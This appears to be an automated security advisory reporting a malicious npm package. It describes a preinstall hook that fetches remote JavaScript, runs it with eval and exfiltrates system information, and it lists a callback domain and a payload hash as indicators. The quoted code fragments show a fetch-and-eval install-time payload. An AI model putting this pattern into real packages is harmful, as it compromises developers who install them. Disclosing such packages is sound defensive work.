GCVE-110-OSM-2026-3842

[osmalyze-auto] Malicious package detected. Behaviors: data exfiltration, code execution, network activity, install-time execution. [osmalyze-auto] Entrypoint: preinstall.js (install-hook: node preinstall.js) Payload: preinstall.js Key findings: - Fetch and Eval/Exec in preinstall.js: "http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { ..." - Install Hook Executes Local JS File in package.json: ""preinstall": "node preinstall.js"" - Dynamic Code Execution in preinstall.js: "eval(body)" - System Information Exfiltration in preinstall.js: "__dirname, "package.json"), "utf8")).name; } catch(_){} return ""; })(); const ..." - Very New NPM Publisher Account IOCs: - domains: oob.moika.tech - payloadFileHash: a70b77c6d2828400141e6d188485d742427792d33c455c07cc32cd176fbe10dc